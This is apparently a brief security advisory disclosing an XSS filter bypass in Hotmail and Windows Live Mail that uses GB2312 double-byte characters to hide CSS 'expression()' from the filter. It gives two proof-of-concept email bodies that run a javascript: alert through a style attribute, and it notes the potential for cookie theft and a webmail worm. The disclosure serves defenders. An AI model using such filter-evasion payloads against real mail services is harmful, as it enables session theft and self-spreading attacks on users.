Introduction:
Hotmail and Windows Live Mail are both web-based e-mail services by Microsoft.

Details:

Hotmail's filter identifies "expression()" syntax in a CSS attribute. According to Hasegawa Yosuke's post(http://archive.openmya.devnull.jp/2006.08/msg00369.html), in some character encodings(e.g. GB2312), we can substitute some special double-byte chars for the corresponding chars in "expression()". In this case, we can create a malformed CSS attribute, which Hotmail's filter fails to inspect and filter the "expression()" syntax.

An example:

Hotmail
————————————————–
MIME-Version: 1.0
From: user<[email protected]>
Content-Type: text/html; charset=GB2312
Subject: example

<img id='sss'>
<input id='ttt' value="javascript:alert('xss')">
<span style="font-family:[ascii 163][asii 197]xpression[ascii 163][ascii 168]document.all.sss.src=document.all.ttt.value)">exploited</span>
.
————————————————–

Windows Live Mail
————————————————–
MIME-Version: 1.0
From: user<[email protected]>
Content-Type: text/html; charset=GB2312
Subject: example

<img id='sss'>
<input id='ttt' value="javascript:alert('xss')">
<span style="font-family:[ascii 163][asii 197]xpression[ascii 163][ascii 168]document.all.EC_sss.src=document.all.EC_ttt.value)">exploited</span>
.
————————————————–

the injected code inside the CSS attribute is responsible for
-Getting cookies.
-Potential web-based e-mail worm.
